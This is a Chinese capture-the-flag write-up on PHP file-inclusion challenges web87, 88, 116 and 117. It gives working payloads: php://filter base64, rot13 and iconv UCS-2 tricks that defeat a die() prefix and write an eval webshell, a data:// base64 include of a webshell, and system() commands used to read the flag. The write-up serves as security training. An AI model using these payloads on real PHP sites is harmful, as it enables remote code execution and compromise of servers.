文件包含学习 web87、88、116、117

edited by twi1igh7

web87

先看源码,过滤了php、data、:.,显然是为了防止我们用78-81使用的伪协议以及日志注入

image-20260514190736914

审计代码,我们可以发现这道题是用GET传入file参数,然后POST传入content写入file文件。通过控制file参数我们可以控制写入文件的路径,通过控制content参数我们可以控制写入文件的内容。

这道题的难点在于,我们写入shell会被前面的die函数给截断,主要任务就是打乱前面的die函数

Payload1

我们传入?file=php://filter/write/convert.base64-decode/resource=shell.php,当然我们需要经过两层url-encode,GET传入一层,urldecode还有一层

1
2
GET传入:
?file=%2570%2568%2570%253a%252f%252ffilter%252fwrite%253dconvert%252ebase64-decode%252fresource%253dshell%252e%2570%2568%2570

<?php die('大佬别秀了');?>这段在base64解码的时候会去除特殊字符,也就是留下phpdie这6个字符,我们需要再补两个字符,否则会影响到后面的shell语句。POST传入<?php @eval($_POST['cmd']);?>,但是需要进行一次base64编码

1
2
POST传入
content=aaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

然后蚁剑连接即可获取flag

image-20260514193050540

Payload2

我们关键在于将捣乱的die函数杀死即可

这次我们用rot13将其换位,原本要写的GET参数是?file=php://filter/write=string.rot13/resource=shell.php,经过两次url加密后得到要传入的参数

1
2
GET需要传入
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%33%25%36%38%25%36%35%25%36%43%25%36%43%25%32%45%25%37%30%25%36%38%25%37%30

content参数写入一句话木马<?php @eval($_POST['cmd']);?>,经过rot13加密后得到要传入的参数

1
2
POST需要传入
content=<?cuc @riny($_CBFG['pzq']);?>

蚁剑连接即可获取flag

image-20260514201621501

总结

这道题主要用了php://filter伪协议两个不同的过滤器write=convert.base64-decodewrite=string.rot13

我看网上还有很多方法,比如用convert.iconv等,这里就不一一复现了

web88

还是先看源码

image-20260514202910800

过滤的东西很多啊,php大小写绕过不了了,我们php伪协议失效;点号被过滤了,日志注入也失效;我们只能控制file参数进行文件包含

想到最开始用的data伪协议居然放出来了,那么就简单了,我们目标就是构造?file=data://text/plain;base64,[base64编码后的shell语句]即可

但是这里需要注意的是base64中经常出现的\=被ban了,所以我们要注意避开这两个字符。我打算构造shell语句<?php @eval($_POST['cmd']);?>,然后通过POST传cmd传入shell语句

image-20260514210724364

尝试后发现需要传入

1
2
3
4
5
6
GET传file参数
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz51

POST传cmd参数
cmd=system('ls');
cmd=system('tac fl0g.php');

image-20260514210708529

小结

这道题用了data://text/plain;base64,[base64编码后的shell语句]

web116

下载mp4,formost提取出图片

00080067

我们通过GET传入file参数,然后对输入内容进行匹配,最后读取内容

虽然过滤了很多,但是把php放出来了,并且我们要读的flag.php也没有过滤,那么这么多过滤其实就如同马奇诺防线一般

1
2
GET传入
?file=php://filter/resource=flag.php

这里🍬了,最开始还想php://filter/read/convert.iconv.utf8.gbk/resource=flag.php来读hh

最后要在响应中才能看到flag

image-20260515102932964

web117

还是先看源码

image-20260515103345211

我们GET传入file参数,然后进行过滤,我们可以发现php还是放出来了。这道题和116题区别在于我们通过传入file控制路径,然后还可以通过POST传入content来控制写入内容,但是和87题有点类似,有一个die函数。

87题我们用了base64和rot13来打乱die函数,但是这里就失效了,但是还是可以尝试使用convert.iconv来进行绕过。但是utf被ban了,看了下还可以用ucs编码,那么下面就开始构造吧

首先file我们想传入?file=php://filter/write=convert.iconv.ucs-2be.ucs-2le/resource=shell.php,然后contents参数想要传入contents=<?php @eval($_POST['cmd']);?>

1
2
3
4
<?php
$re = iconv("UCS-2LE", "UCS-2BE", '<?php @eval($_POST["cmd"]) ;?>');
echo $re;
?>

经过编码后得到需要上传的contents是?<hp pe@av(l_$OPTS"[mc"d)]; >?

然后蚁剑连接即可

image-20260515162447813

小结

这道题用了convert.iconv.ucs-2be.ucs.le这个过滤器